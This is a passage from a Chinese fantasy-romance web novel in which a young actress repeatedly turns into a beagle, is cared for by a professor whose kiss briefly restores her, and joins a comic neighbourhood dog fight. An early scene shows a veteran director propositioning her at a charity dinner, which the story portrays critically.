电影片尾音乐缓缓流过,如同广场的白鸽环绕着坐在许愿池下的他们。
故事结束了,令人人意犹未尽,电影故事里坚韧勇敢的少女未来还有无数的故事等她书写,她的黑色眼瞳里藏着未知的秘密,只等她自己去探索。
作为旁观者,只有送她祝福,让她即将启程的航行路上少些风浪。
“你可以做到的。”他倾身为她拉上被子,拍着她的背,轻声说:“但是要记得及时回家,我会担心你的。”
轻柔的一个吻落在她的额头上。
夏焰闭眼哭了,她摸到眼角的泪,她侧着身体,一大颗眼泪就从右眼流过鼻梁,掉进左眼。
她眨眨眼,在一片漆黑里听到身边人平稳的呼吸声,还有心跳声。
她不确定这声音是属于谁的,只好把耳朵靠在身边人的胸前,他的心跳像呼吸一样柔和。
那震耳欲聋,不可抑制,无药可救的跳动是来自她的。
夏焰在凌晨三点推门离开,她只带走了她的手机。
手机屏幕上的时间显示晚上九点,一个让人等待已久的电话准时打来,夏焰接通。
“准备好了吗?”
夏焰坐在晚宴的餐桌前,用餐刀一点点切分着面前盘子里的冷食甜点,然后把他们一块一块排列整齐。
她的头发被一丝不苟盘在脑后,身上的裙子是经纪人给她借的,说不出名字的“”小品牌,符合场景,纯黑色的礼服上面没有任何点缀,布料也是不出错的缎面,简单到不能再简单。
这是一场慈善晚宴,平时光彩夺目的大明星们今天也是以简单为主。
不管主题怎样变,宴会目的从不会变。
几张桌子把他们分成三六九等,摄影机在最前面扎堆,长枪大炮对准没有硝烟的战场。
夏焰也有人拍,经纪人掏钱买的,看起来像是从写真馆转行。
“看这里小美女,看镜头,比个耶。”
夏焰两只手竖起四个手指,笑出标准的八颗牙。
“耶。”
“噗嗤。”旁边男人到处找纸想要擦嘴。
夏焰皱着脸扭身检查自己的后背裙子上有没有被他喷上红酒。
“抱歉,我实在是没忍住。”
男人微笑递过一张纸巾,想要将功补过,夏焰有些后知后觉的尴尬,接过纸巾攥在手心里。
“我叫邹城,围城的城。”
邹城,这样长相的人在娱乐圈像是复制粘贴一样,放在一起可以消消乐。
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他伸手到夏焰面前。
夏焰礼貌回握,对他一笑。
“你的名字是?”邹城把身体歪向她。
夏焰有些不耐烦地拿过盘子旁边的名牌,然后听见对方没有内容的笑声。
她抱着手臂斜靠着座椅靠背,开始走神。
头顶的水晶吊灯是假的,不会发光,夏焰抬手用两个手指转动一颗水晶,指腹上留下一层灰尘。
她用两个指头搓捻着。
有人会这样轻轻捏小狗的爪子,痒痒的。
触电的感觉从手指流进血液,要经过心脏迸发全身。
“夏焰!”
经纪人在另一边小声提醒夏焰注意体态。
她梗着脖子坐的笔直,瞄一眼沈盛,对方看起来满意多了。
身体坐的僵硬,夏焰转转脖子,台上的表演还没有结束,一只手突然搭在夏焰的肩头。
夏焰转头,原来座位上的邹城不见了,取而代之的是一个满脸皱纹的老头。
夏焰认得他,他是专拍乡土电影的导演,上个世纪得过不少奖,是圈里的大前辈导演,今天的晚宴就是他组织的。
夏焰扯着嘴角和他打招呼,刻意忽视久久停留在肩膀上手。
她看向沈盛想向她求助,发现刚才她站的地方空无一人。
老头的眼睛浑浊了却泛着精光,头发都脱落了只留下斑秃的头顶。
夏焰坐直身体就能看到他稀疏的白发还在灯下闪着银光。
他的眼睛从上到下扫视着她,商人在评测一件商品,应该给予什么作为交换。
他点点头,默许她直白的打量,赏味她无措的闪躲,咀嚼她的不安,此刻她的厌恶也十分美味。
他给出交换的条件,作为他新电影里的女二号。
“不。”直截了当的拒绝。
让他突然变得和蔼,像一个真正可敬的长辈在体贴后辈一样。
没有恐吓也没有愤怒,刚才说的话只是一句玩笑,这里还坐着几十个和她一样的女孩,还有不少拼命想挤进这里的。
他没必要因为一个拒绝动怒。
他吃掉邹城桌前的点心,离开了。
邹城又坐回她的身边。
“有时候真希望自己也是女儿身。”他摇头叹气。
“你什么意思?”夏焰紧紧盯着他。
邹城摆弄餐具,挑着刚才老头吃剩的残渣。
“别生气嘛,没什么意思。”
夏焰抓着他的胳膊,用整张桌子所有人都能听见的声音质问他:“没什么意思是什么意思?”
他对大家无奈一笑,做出懂得都懂的表情。
“我说了不!我拒绝他了!”她的怒气撑着她站起身来,仍然死死握住邹城的手臂,让他痛到呼救。
“放手啊你。”
夏焰怒不可遏,另一只手狠狠拍打着桌面,大声喊着:“我说了不!我没有同意!”
附近一片都安静下来了注视着她,她的愤怒把眼睛弄花了,眼尾的眼线糊成一片。
她要把肚子刨开让他们知道她什么都没有吃。
他看见那个导演挥挥手,有人出现在她的身后,她被请出场外。
沈盛一直没有出现,她打电话让人来送夏焰回家。
夏焰没有回家,她请师傅把车停在小桥上,她在这里下车。
今晚是个阴天,云朵把月亮挡住了,黑蒙蒙一片。
她行尸走肉般走过小桥,回到熟悉的小区,熟悉的楼层。
她垂手在门锁的下方拍打两下。
急促的脚步声。
男人开门,难掩惊讶,他问:“你是哪位?”
15. 不要偷狗啊!
“哎呀,林老师人家不是都上门来说了吗,那本来就是人家的狗。”
“我怎么知道她说的是不是真的,她进我家来把狗偷走,然后骗我说那是她的狗。”
“……可她是明星耶,偷你狗干嘛?”物业管理员大晚上被林砚之找来,非要看昨晚的监控。
“她在半夜潜入我家,而且监控并没有拍到她是什么时候来的,只拍到一个背影,都不确定是不是她带走我的狗,突然在半夜出现的女人,是人是鬼都不知道。”
管理员被他说的毛骨悚然,叫他别说这种话,他晚上一个人值班害怕。
“就算不是鬼,是人,也是你们物业的失职,放一个陌生人进来,还让她进了我家!”
林砚之撸高袖子,手掌用力拍在桌子上,把桌上杯子里的茶水都震晃起来。
“林老师我们理解您的心情,您家里不是没有丢东西吗,实在不放心可以先去公安局备案嘛,我们肯定是一切为了您的安全着想。”
林砚之碰了软钉子,对方一直在和他说套话,说什么也不把多的监控视频调给他。
他只好回家,有些颓废地坐在沙发上,摸着沙发上被小狗伸懒腰抓出的抓痕。
银链长命锁被他绕在指尖,他垂头看向鱼缸里的鱼,它好像懂得他的忧伤。
小丑鱼隔着鱼缸对他吐出两个泡泡,飞到水面,又一个个裂开。
象征着爱与期待的长命锁从他的指尖脱落,扑通一声掉进鱼缸。
小丑鱼用身体接住,把银链拖到珊瑚礁上。
他们彼此相顾无言。
同样相顾无言的还有夏焰和沈盛。
“你的意思是说,你在这两个星期变成狗了?”
“对。”
“还住到一个男人的家里?”
“……是他把我捡回去的,我差点死了。”
“他亲了你一下你就变回来了?”
“这不重要!”
沈盛用手背贴在夏焰的额头,试探她的体温。
“我没说胡话,骗你是小狗。”
“焰焰,昨天晚上吓到你了吧,他们叫我去后台,谁想到后面有这事,姐的错啊,下次一定寸步不离地陪着你。”
她再次提起昨晚的事,夏焰再说不出其他话来。
“给妈妈打个电话,她担心你呢。”
昨晚的事没有被放到大众面前,但在圈子里已经被当成笑话传遍了,妈妈知道这事也不奇怪。
她把电话拨通。
“夏焰?你搞什么?”
“什么?”
“昨晚那一出又是做什么?”
夏焰突然不知道她在问什么事,或许知道,只是在逃避。
她用眼睛呆看着面前的沈盛,对方正在往咖啡里加糖。
夏焰从小到大都想要吸引母亲的目光,她把精心制作的手工贺卡夹到妈妈的会议本里,只得到一个微笑还有一句:“把聪明劲放在学习上就更好了。”
乖巧懂事引不来她的关注,只有大声吵闹才能吵来她的关注,但那是怎样一种眼神可想而知。
她听见电话那头的叹息,甚至能想象到她正扶着额头,理不清思绪。
“你知不知道这半个月来我在做什么?”她还是想要妈妈的关注或者说是关怀,或者说是爱。
“我半个多月没回家你知道吗?”
夏焰声音止不住地颤抖。
“我以为你长大了,我以为你不会再这样了!”
“我没有!”
夏焰终于忍不住了,放开嗓子,抓着电话,对着电话那头嚎啕大哭,歇斯底里的哀嚎,像是受了天大的委屈。
她哭的缺氧,听不清电话那头的声音。
胸口剧烈起伏,鼻腔发麻,喘不上来气。
她不明白为什么自己总是在哭诉中辩解,没有人愿意停下来听她说话。
沈盛看她摇摇欲坠,站不稳要摔倒的样子,下意识伸手去拉她的胳膊。
“夏焰!”她只捞到了从夏焰手里松落的手机,耳边传来夏焰母亲激动的声音:“沈盛?沈盛!照顾好她!”
为了接住夏焰她几乎跪倒在地,努力向前伸出双手。
“啊。”
“哦。”
她的手心里正捧着一只还在吸鼻涕的小小比格犬。
“真的变成小狗了。”
沈盛大脑一片空白,撸狗的本能还没忘掉,眼神呆滞地捏捏她的耳朵,又捏捏她的爪子,看她还在哼哼唧唧可怜的哭鼻子。
扯过纸巾给她擦鼻涕,让她想起第一次见夏焰,也是跟在妈妈后面委屈巴巴的小孩。
她向她噘嘴逗弄她:“嘬嘬嘬宝贝。”
夏焰揣着手贴到她的胸口。
“现在要怎么办,小狗?”
夏焰站在门口用力拍打着大门,然后朝沈盛伸手要抱。
“一路上都自己走怎么现在要抱,好吧来吧,我大胖闺女。”
夏焰一被她抱起就头一歪开始装死。
“什么情况?”沈盛拎着她的胳膊晃悠,又去揉搓她圆鼓鼓的肚皮,看她眼睛死死闭紧。
想要使坏去撑开她的眼睛,刚探出拇指和食指,面前这户人家的主人幽幽赶来打开门。
一个胡子拉碴的男人,是常出现在电影里炒股失败工作被辞房租未缴水电被断的失败男人。
但由于还是能从他高大的身材,周正的五官里发现一点青年才俊的意味,观众们会向编剧祈祷,他最好没有人格上的污点,现在的这幅模样只是受了些小小的情伤。
伤害他的人正躺在他面前这个女人的手心里吐出舌头装死。
“你们到底想做什么?”
受了情伤的男人用发红的眼睛扫过她,她有些警惕地护住怀里的夏焰。
男人的眼神跟随着她的动作停在她的手上。
一片毛茸茸的耳朵,一颗胖乎乎的爱心。
“燕燕。”
“对对对,是焰焰!”沈盛确认了面前男人就是夏焰说的好心人,撑着小狗腋下把她举起来。
夏焰不敢睁眼,脑袋里不停回放昨晚俩人的见面,说的每一句话都让夏焰感到羞耻难堪。
她仍是闭眼仰着头,对林砚之暴露出最脆弱的肚子。
林砚之小心翼翼地接过她。
“谢谢你。”他对沈盛说。
说完就要关门。
沈盛一下蒙了,连忙用手臂一挡。
“唉不是,我是想要请你帮忙给她治病的,治好了还得还给我。”
话还没说完门又要关上。
沈盛这次把脚塞进门缝里抵住,不让他用力,另一只手伸进屋内扣住墙壁。
她一只眼睛从门缝里露出来,指着夏焰对男人大声道:“你亲她一口!你亲她一口,我们就走!”
“什么?”
林砚之一手抱着夏焰,一手握紧门把手。
“……这个请求是有点
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难以下口,要不你收费也是可以的。”
林砚之有些愠怒,觉得自己在被一而再再而三地戏弄。
“你又是什么人?昨晚来的人和你什么关系?你不说,我立马报警,强闯民宅,还偷我家的狗。”
沈盛微张着嘴巴,不是被他的恐吓吓住,是在思索她该怎么开口告诉他事情的真相而不被立刻打出去报警当做神经病偷狗贼抓走。
她向夏焰投入眼神讯息,对方也睁开眼睛偷偷看她,做贼一样快速瞄一眼林砚之,然后又把眼睛闭上。
没救了。
沈盛缓缓开口:“其实小狗就是夏焰,夏焰就是小狗,燕燕就是焰焰,焰焰也是燕燕。”
她一边说着绕口令一边找准机会抢过林砚之手里的狗,然后迅速捏着她的嘴筒子和林砚之地嘴唇来个亲密对对碰。
软的,热乎的,胡子有点扎痛我了。
夏焰被林砚之抢过,反手抛到他身后的沙发上。
夏焰像一个不倒翁,在沙发上卧倒又迅速弹起,两只耳朵上下飞舞。
林砚之往旁边多走两步,离沙发上的夏焰距离又近两步,用身体挡住她。
警告着沈盛:“你再不走我真的报警了!”
他的眉毛狠拧到一起,彻底把面前的女人当成疯子,无法沟通的疯子。
“我没开玩笑,真的,要不你再亲她一下,你亲,你看!”
沈盛发出尖叫。
林砚之转头,和夏焰对视。
她漆黑的眼睛,完整的鱼,还有永不停歇的雨。
夏焰的眼泪都蓄到这一刻,看向他的一刻,连绵不绝。
林砚之落到水里,无法挣扎,他只能看着她流泪无动于衷,她斜倚在沙发上大颗大颗的眼泪落在地上,淹没客厅,很快要淹过他的下巴。
他艰难的挣扎着,仰头呼气。
“别哭,别哭。”
夏焰哭红了脸,秀丽的眉毛向下撇,她受了委屈,她在向他哭诉。
他尝到她眼泪的滋味。
不知道是溺水带来的窒息感让他头晕还是她的痛苦让他感同身受,他恍惚间看到小丑鱼从鱼缸里游到他身边向他吐出一串串泡泡,消失不见。
手指上出现闪闪发光的东西,他凑近了看,把上面的名字念出来:“燕燕。”
林砚之睁眼,窒息感还没得到缓解,低头一看,是夏焰正压在他胸前,耳朵盖住她自己的眼睛,不舒服的哼哼。
他轻拍她的后背,指头揉着她的耳朵,松了一口气,他说:“我梦见你又被人欺负了。”
梦里看向他的那双眼睛还历历在目,他心里难受,抬起小狗的头,露出她潮湿的眼睛。
“为什么?”
“咳咳,那个帅哥。”
林砚之从沙发上起身看向鱼缸旁边的女人。
“你还没走?”
“帅哥你还没把我家狗还给我。”
“……”
“我都说了我没骗你,你不信。”沈盛耸耸肩说。
“总而言之,你的小狗其实是电影明星,我们猜测你的吻能让她变回人形,就是这个时效也太短了吧!”
“吻?”林砚之看着被他抱在怀里的夏焰,还是觉得头晕。
“不要小瞧一个吻的威力嘛。”她送出一个飞吻。
沈盛掏出一张卡片起身递给林砚之。
“这是我的名片,我是她的经纪人,我想我们需要协商一下小狗的归属问题。”
16. 小狗争夺战
“这听起来很难接受,但我们都亲眼目睹她是怎么变成人,又怎么变成现在这幅样子的。”
沈盛也坐在沙发上,和林砚之并排坐着,中间隔着小狗。
好像离婚的父母正在为了争夺孩子的归属问题大打出手。
夏焰趴在中间作为楚河界限一言不发,一动不动。
沈盛一边说着一边把狗往她这边拖。
“你们想怎么做?”林砚之看向沈盛,不动声色地动手把夏焰拖回。
夏焰的肚皮紧贴在沙发上,被他们拉着身体来回摩擦,身下要起火。
她突然坐直身体,耳朵打在正低头凑近她的男人脸上。
男人坐回原位用手虚撑着右脸,眼角泛红。
夏焰心虚地揣着手蹭到他大腿边。
他说:“你们希望我怎么做?”
沈盛紧跟其后,轻声说:“你来照顾她,直到她不会再变成小狗。”
原来不是为了让她回家,是为了丢下她。
夏焰被夹在中间,淡淡的薰衣草洗衣液清香让她眩晕,同时还闻到似有若无的香水味。
她挥手把它们打散,不允许他们一同出现混合交融。
林砚之长腿一抬,双腿交叠,两只手交叉掌握放在腿上,他漫不经心地开口问道:“我为什么要照顾一个陌生女人?”
夏焰抬眼看他,想从他的脸上看出这句话背后还有没有别的意思。
林砚之感觉到手边热乎的小狗一下子泄气,变得松软。
“你的心情我们都能理解!你失去了一只小狗,一时无法接受,但是你也不忍心看我们的大明星永远都是这个样子吧!”
她越说越激动,把夏焰从沙发上举起来,脑袋朝着林砚之,提高音量大声说:“怎么能一直都是这个狗样!”
夏焰在她的手里不舒服地扭来扭去,被林砚之接回怀里。
沈盛用手指狠狠指着林砚之:“养狗一日就要爱狗一辈子,变成小狗的时候就该属于你!”
林砚之面无表情的看着她。
沈盛有些尴尬的收回手指,仿佛刚才的一番豪情壮语都不是出自她口。
她抽回夏焰的爪子,放在林砚之的手心里,决定晓之以情动之以理。
“林先生,不瞒你说,我们家孩子特别特别可怜,家里常年只有她一人,现在变成小狗了连饭都吃不了,难道你忍心让她在家活活饿死吗?!”
“你忍心吗!”
夏焰被沈盛用力按在林砚之的胸口。
林砚之鬼使神差般伸手回搂住她的身体。
沈盛满意地笑出声来。
“怎么说我们也是电影大明星是不是?”沈盛挠挠小狗下巴,“希望林教授能保守这个秘密。钱不是问题,多少都由你来决定。”
她边穿鞋边回头,用不容拒绝的语气说:“那就说好了,直到她能稳定人形出现在大众面前,在此之前这段时间就请你照顾她,有工作我会提前联系你们,你们就需要咳咳,啵啵。”
“汪汪!”
“妈妈那边我会帮忙处理。”沈盛把夏焰的手机放到她的两个爪子上,呼噜两下她的脑袋,“少玩点手机,没有工作就当放假了。”
那我的假期可太多了。
夏焰心想。
夏焰目送沈盛关门离开,她和林砚之并排坐在沙发上,一只脚还下意识地搭在男人的腿上。
她挠挠耳朵,一会看看水晶吊坠,一会看看被踩出爪印的沙发。
房间里的沉默很诱人,引诱她感到饥饿。
肚子不合时宜地发出响声。
低头沉思的林砚之突然抬头看她。
“饿了吗?”林砚之扯开嘴角,强颜欢笑的表情在本就疲惫的脸上定格。
仅仅是一瞬间的眼神,也被夏焰炎完整捕捉。
夏焰从小就懂得如何读懂身边人的暗语,如何看眼色行事。她有些失落地摇摇脑袋,知道自己已经成为男人的负担。
本来就是负担,既然知道不是自己的小狗了还要由他自己来照顾,真正该照顾她,给她爱的人都挥挥手一走了之,把她丢给他就觉得万事大吉,一身轻松。
夏焰难过地侧头揉揉眼睛。
男人知道她在想什么,用手臂把她环进怀里,用胡子拉碴的下巴轻轻蹭着她的脑袋。
夏焰挥手挡他,歪着身体躲他的亲吻。他侧头又去追吻她的耳朵,夏焰用爪子堵住他的嘴巴,叫他不要再亲她。
林砚之抓着小狗爪子放到嘴边亲亲,眼里的柔情要溢出来。
“让我闻闻你臭了没有。”
“没臭!”
“嗯,好像真有点。”林砚之假意皱眉,又低头闻闻她的脑袋,“等下吃完饭还是洗个澡吧。”
他紧紧贴着夏焰的脸颊。
还是像从前那样,她还是那只调皮的小狗。
夏焰用余光看着他的侧脸,点了点头。
还是原来的座位,林砚之让她坐好小心别摔下来。
夏焰乖乖地两只爪子摆在桌面上,等着林砚之端饭上桌。
林砚之从厨房拿来勺子,递给夏焰。
“?”
你觉得我这个样子是可以拿勺子吃饭的吗?
夏焰举起她的两只无情铁手,在林砚之面前正反转动。
林砚之笑着把勺子插回自己的碗里,把她的饭盆从消毒柜里重新拿出来。
没加任何佐料的面条,只有面条本身的味道,白开水的味道。
她低头吸溜面条吸溜的正开心,被男人注视的目光打断。
林砚之一边咀嚼着面条,一边眼里带笑的看着她。
“我还以为再也用不上了。”
平日里在外总是面无表情的林教授,笑起来居然是一副痴情派头,看他的眼睛痴痴地盯着你,好像看的是梦中情人,谁也不会想到看的是小狗嗦面条。
夏焰吃的肚皮鼓鼓,向后一躺,发出一声巨大的响嗝。
惊的林砚之瞪大眼睛看她。
夏焰也一惊,然后两人突然对视,大笑不止。
夏焰用爪子捂着嘴巴低声笑,林砚之笑的直咳嗽,涨红了脸。
他两口把面条赶进嘴里咽下,把夏焰提溜下地,让她散步消食。
时隔两天再次回到这个家里,她感受着脚下的木地板带来的冰凉感觉,觉得是重生轮回后再回到上辈子初生的地方。
夏焰看着鱼缸里打瞌睡的尼莫,小声叫它的名字。
“尼莫。”
它迅速翻身,眼神迷离到处找声音从哪来。
“谁!”它警惕半秒,没找到人,准备翻身继续做梦。
夏焰跳到鱼缸边,用爪子划拉鱼缸水。
“尼莫!”
尼莫被吓一激灵,飞速跑到另一边又跑回来。
“吓我一跳!”
“妹儿你回来了!快过来让我看看!”它凑近看着玻璃外的夏焰,“不行太近了有点斗鸡眼,你还是离远一点。”
夏焰听话地往后撤退两步,爪子贴着鱼缸壁。
“你不要贪玩乱跑嘛,我兄弟
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到处找你,非说你是被偷了。”它夸张地比划着,“我说咋可能嘛,我一直守卫着这个家,一刻也不敢懈怠,什么人能从我的眼皮底下把你偷走!肯定是你偷偷跑出去玩!”
夏焰低头有些难过,尼莫把这当做是她意识到自己的错误而感到羞涩。
“你刚才那个突然变身是怎么搞得!突然变得和他一样了!像汽车人一样,咔咔砰砰一下就变身了。”
“我就知道你不是一般的狗!”
因为我是人……
夏焰无奈摇头。
尼莫突然凑近玻璃壁,甩着鱼鳍示意夏焰靠近,它转头看向厨房,然后神秘地说:“我偷偷告诉你,他还掉眼泪了。”
它颇有些得意地揶揄道:“掉到我的鱼缸里来了,好奇怪的味道。”
“尝起来感觉有点扎嘴,心里怪难受的。”
夏焰呆坐在鱼缸前听尼莫不停地说着。
她不合时宜地出声打断:“是咸味,眼泪的味道是咸的。”
“就是你们吃的盐巴的味道对吧!”
“他为什么哭?”
夏焰期待着尼莫能说出一个能满足她内心隐秘的想法。
他像夏焰需要他一样同样需要夏焰。
夏焰坐在浴室门前的空地上,等待林砚之从里面出来。
他会失望吗?
真正属于他的那一份消失了。
林砚之从浴室里出来,还带着热腾腾的雾气,他的刘海湿着垂下额头,有些遮挡视线,被他用手往后撸起。
他弯腰俯身伸手抱起夏焰。
夏焰用爪子碰他干净的下巴。
“是不是不扎了?”林砚之用下巴轻蹭她的耳朵。
夏焰被抱进垫着一块蓝色毛巾的折叠浴盆里,这也是林砚之为她买的,里面的蓝色毛巾现在也属于她了。
他坐在矮脚凳上用手调试着水温,感觉温度合适了才对准夏焰。
对于给她洗澡这件事,林砚之已经轻车熟路了,熟练地从架子上挤出宠物专用沐浴露,在毛巾上揉出泡沫。
把夏焰放倒,用手抬起她的脖子。
夏焰自然地躺下,四只爪子弯曲,等待他下一步动作。
林砚之却不知道为什么停下了动作,在夏焰催促眼神里犹豫着用毛巾贴上夏焰的身体,贴上她最柔软的肚皮。
夏焰觉得痒,下意识去躲,却没被林砚之像往常一样按住身体,差点翻出浴盆。
林砚之把她捞回来,她有些惊讶地看向林砚之涣散的眼睛。
但很快就恢复正常
他手上包着毛巾,热乎乎地去贴她的身体。
动作敷衍,根本洗不干净,夏焰顶着一头的泡沫,看林砚之在空气里洗她的毛巾。
她拉着他的手,送到自己毛茸茸的头顶,享受他轻柔地按摩,手法专业,让她昏昏欲睡。
再次睁眼是在软乎乎的毯子里,林砚之为她擦干身体,她躺在干净的小窝,看着林砚之换床单被套。
他展臂用力一抖,让夏焰闻到洗衣液清爽的香气,在他的衣服上还有他们盖的被子上。
“要不要,给你拿床大被子?”
林砚之帮她扯好小狗专属小被子,方方正正的,刚好能盖住她的身体。
夏焰打着哈欠摇摇头,趴在枕头上昏昏欲睡。
林砚之关掉床头灯,平躺着,两手交叠放在胸前,他小声地说:“睡吧”
夏焰感觉到身上多了些重量,他的手放在夏焰的耳朵上,摸摸她的脑袋,让她好安心好安心。
17. 够不够义气!
林砚之又一早离开了,夏焰已经习惯身边的男人起的比狗早。
她漫无目地的在屋里闲逛,挂着照片的大卧室是她的目的地。
夏焰喜欢坐在皮质的化妆凳上,看墙上的照片。
看林砚之的父母,看他的学生时代,还要看她的好朋友方昉。
她好想好想她。
都说不要看逝去之人的眼睛,会让人感到不安,毛骨悚然。
夏焰看着照片里方昉的笑脸,却感知到她那时无与伦比的快乐,她总想要是方昉还活着一定是一名非常厉害的生物学家,会比林砚之还要厉害。
林砚之站在照片的最前面,那时候他就已经是大学老师。
夏焰暗自惊讶缘分的奇妙。
在一段空白的时间里他们俩人曾经相识,在不同的时间里她分别和他们俩人产生联系。
一条隐形的丝线悄悄将他们缠绕。
她就这样歪着头一坐就是一上午,也不和尼莫一起看动画片了。尼莫问她是不是失恋了,她说比失恋还要难过。
巨大的孤独感在身边炸开,她又回到中学时期返校前的黄昏。
“别难过了,我们看个电影,培养一下情操。”
说着打开了《失恋33天》。
夏焰闭眼养神,觉得做什么都没有精力,趴在沙发上一动不动。
没多久屋外传来规律的敲门声,夏焰打开门锁,看到二毛站在门口,她探出头去。
“怎么只有你?”
“还有一个啊。”
说完身后探出一个棉花糖脑袋,正向她吐着舌头。
“你是豆豆?”
小比熊几天不见又恢复了照片里白白胖胖的样子,脸上的泪痕也变淡了几乎看不见。
还是那样没心没肺的对着她笑,身后的尾巴摇的开心。
二毛侧头用鼻子点点夏焰,对身后的豆豆说:“这个就是你救命恩人的小狗。”
豆豆向前试探着,看夏焰没有反应才继续向前,伸出舌头想要去舔夏焰的耳朵。
“大恩不言谢,大恩不言谢,这步就省了。”
豆豆只好坐在夏焰面前深情地看着她。
夏焰尴尬地不知道用什么姿势坐着,刚把屁股落地想换个姿势,就听到二毛说:“马上要和隔壁公园的狗打群架了,你去凑个数。”
隔壁公园多为流浪狗和本小区的狗一直势不两立,不管你是流浪狗还是被收编的,只要从这个小区出来,就和你势不两立。
传说是因为隔壁公园里的大哥大黑色田园犬就是从这个小区里被丢弃的。
它被丢到城西的城乡结合部,硬生生自己走回城东小区里,蛰伏三天只为咬它主人两口。
其精神感动公园一众流浪狗,大家推它为王,它推辞说志不在此,结果第二天在垃圾桶里翻出了一张纸条,军师为它翻译其内容。
“公园兴,大黑王。”
众狗拥呼这是上天的旨意,从此大黑带领流浪狗们霸占公园数年,绝不允许小区的人和狗靠近。
夏焰面无表情地摇摇头:“我答应他不会再偷偷跑出去了。”
二毛没想到她会这么说,瞪着眼睛,把拳头打在她面前的空气上,怒道:“没义气!”
豆豆被它一惊,用爪子把它的拳头扒拉下来,脑袋在夏焰胸前蹭蹭。
夏焰仍然面无表情:“不去。”
豆豆惊讶倒地:“没义气!”
“小豆,走!别和没义气的狗说话,大毛姐还在等我们!”
豆豆跟着二毛一步三回头,依依不舍地转身要走,最后问她:“你真的不去吗?”
夏焰郑重地点点头。
她看着它们离开,进屋把门关上。
“你怎么不去?”尼莫嚼着鱼粮看着电视。
“我答应过他不去就是不去。”
不能再给他添麻烦了,夏焰知道在林砚之眼里自己已经不是曾经可以调皮捣蛋任性的小狗了。
她靠着门坐下,没两分钟又听到拍门声。
“我都说了我不会…”
“师妹!你回来了!”
瓜皮脖子上挂着两串香肠,夏焰把它迎进屋里。
它低头把香肠放下,说:“这是师傅给灌的,让我拿来给你们吃。”
“师傅还好吗?”
“好啊就是一直有点咳嗽不知道怎么回事,老毛病了,不过最近咳得有点厉害。”接着话题一转,“你没和它们去吗?”
夏焰诧异它也知道,不过转念一想,怕是二毛找遍了小区。
瓜皮看她摇头有些惊讶:“我以为你会去,那岂不是只有它们三个。”
“三个?!只有它们三个?打什么群架!群狗打它们吗!”
夏焰心脏都要跳出来了,二话不说就往门口跑,突然想到什么转头询问:“瓜皮兄你不去吗?”
“我年纪大了……”
“有没有义气!”
“师傅教的仁呢!义呢!仁义呢!有没有义气!”
夏焰大吼着,把气氛推到一个又一个高潮。
瓜皮兄重重喘着粗气仿佛被点燃了志气,眼里燃起丛丛火焰,它扯着嗓门大叫道:“有!”
两只飞一样地跑出家门。
她们穿过灌木丛,越过小水沟,终于要抵达公园,夏焰仿佛已经听到激烈的打斗声,转头看向瓜皮兄,却发现自己甩丢它一段距离。
她迅速跑回到它身边,看它喘着粗气。
“师妹,别管我,你,先去,我,随后,就到。”
夏焰点点头继续朝着公园大门奔去。
公园里的沙堆旁站满了狗,它们舔着爪子看向被围在中间的三只。
大毛扫视一圈,最后把视线落在面前橘猫身上,一只猫咪在流浪狗堆里格格不入,它脚步轻巧走到大毛面前。
“稀客。”
它声音沙哑,舔了舔爪子看向大毛。
大毛向前一步走,和它离得极近,几乎贴住它的身体,低头俯视。
大毛问:“昨天那孩子是不是你们咬的?”
“谁咬他了?”橘猫嬉笑着看向身后,“我们只不过吓一吓他,让他长点教训,知道狗的屁股摸不得。”
“我们都说了只要你们小区里的孩子不到公园里来,我们井水不犯河水,可是偏偏总有那么几个小屁孩放着好好的滑滑梯不坐非要跑到废弃公园里来。”
“既然来了,我们当然要欢迎喽。”一只大黄狗笑出声来,额前的长毛飘逸根本看不清眼睛。
“大毛你今天是来给他讨公道的?”橘猫嗤笑道,“就你们两个?”
“还有我呢。”豆豆颤颤巍巍从二毛身后探出头来。
二毛把它挡回去。
“你?哈哈哈哈我还以为这是你们俩个捡的毛绒玩具,戳一下动一下。”
伸出锋利的爪子就要去抓它,豆豆来不及闪躲让它挠下一团卷毛。
“呃呃呃呃呃我妈妈新给我剪的毛毛你干嘛挠我!”
棉花糖跳着要去伸头龇牙咧嘴要去咬它,被几个爪子狠
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狠按住。
“你好神气!我给你留个纹身让你更神气!”它举起爪子就要往豆豆背上划。
“放开那个豆豆!吃我——一脚!”
一声霹雳从天而降,眨眼间橘猫倒地,脸上印着一大个泥巴脚印。
周围几个狗子被不知道什么东西扇了几巴掌,被打的晕头转向,愣在原地。
夏焰抖擞身体,立定在它们面前如同从天而降的大侠,打抱不平的正义之士。
她弓腰扫腿轻松摆平最前面的一批,挥拳劈掌又打倒两个,追着橘猫一拳接着一拳,橘猫惊慌失措窜上一棵大槐树。
掌风阵阵,很快打出一片空地。
“够义气!”二毛一爪子拍在夏焰脑袋上。
夏焰没想到有人能转到她身后偷袭,一不留神被拍歪在地吃了一嘴沙子。
她一边呸呸呸,一边看大毛教训动作没轻没重的二毛。
豆豆闪着星星眼向她投来更加崇拜的目光。
还没等它们走出空地,又有几只甩着尾巴来到。
打的是车轮战。
橘猫在树上垂下尾巴,发出难听的嘲讽喵喵声,听起来像是呕吐声。
“速战速决!”夏焰向身后传话,“豆豆找机会先跑!”
话音还没落地,迎面一个黑斑狗张开血盆大口向夏焰脖子袭来,她歪头闪过,却被身后的一只泰迪犬趁机抓破后颈。
大毛和二毛被分开,单独围成两圈,寡不敌众。
夏焰捂着后颈微微喘气,围着她的几只不敢贸然前进,仍然站在原地观察她的动作。
她静静等待着再次出手的机会。
它们逐步缩小包围圈,一点点靠近夏焰。
夏焰想放手一搏,却惊喜看到姗姗来迟的瓜皮兄。
“师妹——我来——了!助你一臂之力!”
瓜皮刚刚挤进狗群,就被夏焰一下举起。
“瓜皮兄!得罪了!借你一用!”
夏焰像孙大圣甩金箍棒一样把瓜皮举过头顶,把棍子耍的虎虎生风,没给它们任何可以反击的机会,带着它们冲出重重包围。
夏焰叫它们不要恋战,几只百里冲刺地跑回小区,摔进花丛。
豆豆顶着一头绿叶还冲着公园的放下汪汪叫唤。
“叫叫叫,刚才你怎么不叫,现在叫!”二毛气喘吁吁把豆豆撞进另一个花丛里。
夏焰拉着它的后腿把它拽出来,两只一屁股坐在泥巴地里。
豆豆冲过来又要舔她。
“坐!”
它乖乖坐下。
“咳咳咳咳咳。”瓜皮兄咳嗽不停。
夏焰连忙上前帮它顺气:“师兄,抱歉啦,当时情况危机。”
“没事的师妹,不过你这招我怎么没见师傅教过,你在哪学的能不能教给我。”
“没问题!”
大毛仍然有些顾虑,心事重重的样子,它对夏焰说:“今天没看到大黑狗,怕是过两天它要从我们身上找回来。”
“怕它?怕它我就不叫二毛。”
